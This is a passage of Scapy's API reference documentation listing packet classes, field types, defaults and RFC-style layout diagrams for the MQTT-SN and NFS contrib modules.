 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     RADIUS    |
+-+-+-+-+-+-+-+-+

                       Fig. MQTTSNSearchGW                        


MQTTSNSearchGW fields






	radius

	ByteField

	0















	
class scapy.contrib.mqttsn.MQTTSNSuback(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, tid=0, mid=0, return_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L350-L356]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|              TID              |      MID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  RETURN CODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNSuback                         


MQTTSNSuback fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	tid

	ShortField

	0



	mid

	ShortField

	0



	return_code

	ByteEnumField

	0















	
class scapy.contrib.mqttsn.MQTTSNSubscribe(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, mid=0, tid=None, short_topic=None, topic_name=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L336-L347]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|              MID              |      TID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          SHORT TOPIC          |   TOPIC NAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. MQTTSNSubscribe                       


MQTTSNSubscribe fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	mid

	ShortField

	0



	tid

	ShortField (Cond)

	None



	short_topic

	StrFixedLenField (Cond)

	None



	topic_name

	StrLenField (Cond)

	None















	
class scapy.contrib.mqttsn.MQTTSNUnsuback(_pkt, /, *, mid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L373-L377]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MQTTSNUnsuback                        


MQTTSNUnsuback fields






	mid

	ShortField

	0















	
class scapy.contrib.mqttsn.MQTTSNUnsubscribe(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, mid=0, tid=None, short_topic=None, topic_name=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L359-L370]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|              MID              |      TID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          SHORT TOPIC          |   TOPIC NAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. MQTTSNUnsubscribe                      


MQTTSNUnsubscribe fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	mid

	ShortField

	0



	tid

	ShortField (Cond)

	None



	short_topic

	StrFixedLenField (Cond)

	None



	topic_name

	StrLenField (Cond)

	None















	
class scapy.contrib.mqttsn.MQTTSNWillMsg(_pkt, /, *, will_msg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L272-L276]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WILL MSG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNWillMsg                        


MQTTSNWillMsg fields






	will_msg

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNWillMsgReq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L268-L269]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.mqttsn.MQTTSNWillMsgResp(_pkt, /, *, return_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L423-L427]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RETURN CODE  |
+-+-+-+-+-+-+-+-+

                      Fig. MQTTSNWillMsgResp                      


MQTTSNWillMsgResp fields






	return_code

	ByteEnumField

	0















	
class scapy.contrib.mqttsn.MQTTSNWillMsgUpd(_pkt, /, *, will_msg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L416-L420]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WILL MSG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MQTTSNWillMsgUpd                       


MQTTSNWillMsgUpd fields






	will_msg

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNWillTopic(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, will_topic=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L261-L265]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|           WILL TOPIC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MQTTSNWillTopic                       


MQTTSNWillTopic fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	will_topic

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNWillTopicReq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L257-L258]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.mqttsn.MQTTSNWillTopicResp(_pkt, /, *, return_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L409-L413]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RETURN CODE  |
+-+-+-+-+-+-+-+-+

                     Fig. MQTTSNWillTopicResp                     


MQTTSNWillTopicResp fields






	return_code

	ByteEnumField

	0















	
class scapy.contrib.mqttsn.MQTTSNWillTopicUpd(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, will_topic=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L402-L406]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|           WILL TOPIC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MQTTSNWillTopicUpd                      


MQTTSNWillTopicUpd fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	will_topic

	StrLenField

	b''















	
class scapy.contrib.mqttsn.RandVariableFieldLen[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L109-L111]

	Bases: RandNum






	
class scapy.contrib.mqttsn.VariableFieldLenField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L76-L106]

	Bases: FieldLenField

MQTT-SN length field either has 1 byte for values [0x02, 0xff] or 3 bytes
for values [0x0100, 0xffff]. If the first byte is 0x01 the length value
comes in network byte-order in the next 2 bytes. MQTT-SN packets are at
least 2 bytes long (length field + type field).


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L83-L91]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L93-L100]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L102-L103]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.nfs


	
class scapy.contrib.nfs.ACCESS_Call(_pkt, /, *, filehandle=<File_Object  |>, check_access=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L388-L393]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |          CHECK ACCESS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ACCESS_Call                         


ACCESS_Call fields






	filehandle

	PacketField

	<File_Object  |>



	check_access

	IntEnumField

	1















	
class scapy.contrib.nfs.ACCESS_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, access_rights=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L396-L408]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |         ACCESS RIGHTS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ACCESS_Reply                         


ACCESS_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	access_rights

	XIntField (Cond)

	0















	
class scapy.contrib.nfs.COMMIT_Call(_pkt, /, *, filehandle=<File_Object  |>, offset=0, count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L509-L515]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             COUNT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. COMMIT_Call                         


COMMIT_Call fields






	filehandle

	PacketField

	<File_Object  |>



	offset

	LongField

	0



	count

	IntField

	0















	
class scapy.contrib.nfs.COMMIT_Reply(_pkt, /, *, status=0, af_before=0, attributes_before=<WCC_Attr  |>, af_after=0, attributes_after=<Fattr3  rdev=[0, 0] |>, verifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L518-L535]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ATTRIBUTES BEFORE       |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        ATTRIBUTES AFTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERIFIER                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. COMMIT_Reply                         


COMMIT_Reply fields






	status

	IntEnumField

	0



	af_before

	IntField

	0



	attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	verifier

	XLongField (Cond)

	0















	
class scapy.contrib.nfs.CREATE_Call(_pkt, /, *, dir=<File_Object  |>, filename=<Object_Name  |>, create_mode=None, attributes=<Sattr3  |>, verifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L611-L626]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DIR              |            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATE MODE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |            VERIFIER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CREATE_Call                         


CREATE_Call fields






	dir

	PacketField

	<File_Object  |>



	filename

	PacketField

	<Object_Name  |>



	create_mode

	IntEnumField

	None



	attributes

	PacketField (Cond)

	<Sattr3  |>



	verifier

	XLongField (Cond)

	0















	
class scapy.contrib.nfs.CREATE_Reply(_pkt, /, *, status=0, handle_follows=0, filehandle=<File_Object  |>, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, af_before=0, dir_attributes_before=<WCC_Attr  |>, af_after=0, dir_attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L629-L657]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HANDLE FOLLOWS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |       ATTRIBUTES FOLLOW       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DIR ATTRIBUTES BEFORE     |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DIR ATTRIBUTES AFTER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CREATE_Reply                         


CREATE_Reply fields






	status

	IntEnumField

	0



	handle_follows

	IntField (Cond)

	0



	filehandle

	PacketField (Cond)

	<File_Object  |>



	attributes_follow

	IntField (Cond)

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	af_before

	IntField

	0



	dir_attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	dir_attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.FSINFO_Call(_pkt, /, *, filehandle=<File_Object  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L290-L294]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. FSINFO_Call                         


FSINFO_Call fields






	filehandle

	PacketField

	<File_Object  |>















	
class scapy.contrib.nfs.FSINFO_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, rtmax=0, rtpref=0, rtmult=0, wtmax=0, wtpref=0, wtmult=0, dtpref=0, maxfilesize=0, timedelta_s=0, timedelta_ns=0, properties=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L297-L325]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |             RTMAX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RTPREF            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RTMULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             WTMAX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             WTPREF            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             WTMULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             DTPREF            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          MAXFILESIZE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          TIMEDELTA S          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          TIMEDELTA NS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           PROPERTIES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. FSINFO_Reply                         


FSINFO_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	rtmax

	IntField (Cond)

	0



	rtpref

	IntField (Cond)

	0



	rtmult

	IntField (Cond)

	0



	wtmax

	IntField (Cond)

	0



	wtpref

	IntField (Cond)

	0



	wtmult

	IntField (Cond)

	0



	dtpref

	IntField (Cond)

	0



	maxfilesize

	LongField (Cond)

	0



	timedelta_s

	IntField (Cond)

	0



	timedelta_ns

	IntField (Cond)

	0



	properties

	XIntField (Cond)

	0















	
class scapy.contrib.nfs.FSSTAT_Call(_pkt, /, *, filehandle=<File_Object  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L578-L582]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. FSSTAT_Call                         


FSSTAT_Call fields






	filehandle

	PacketField

	<File_Object  |>















	
class scapy.contrib.nfs.FSSTAT_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, tbytes=0, fbytes=0, abytes=0, tfiles=0, ffiles=0, afiles=0, invarsec=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L585-L601]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |             TBYTES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FBYTES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             ABYTES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             TFILES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FFILES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             AFILES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            INVARSEC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. FSSTAT_Reply                         


FSSTAT_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	tbytes

	LongField (Cond)

	0



	fbytes

	LongField (Cond)

	0



	abytes

	LongField (Cond)

	0



	tfiles

	LongField (Cond)

	0



	ffiles

	LongField (Cond)

	0



	afiles

	LongField (Cond)

	0



	invarsec

	IntField (Cond)

	0















	
class scapy.contrib.nfs.Fattr3(_pkt, /, *, type=0, mode=0, nlink=0, uid=0, gid=0, size=0, used=0, rdev=[0, 0], fsid=0, fileid=0, atime_s=0, atime_ns=0, mtime_s=0, mtime_ns=0, ctime_s=0, ctime_ns=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L75-L99]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L98-L99]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
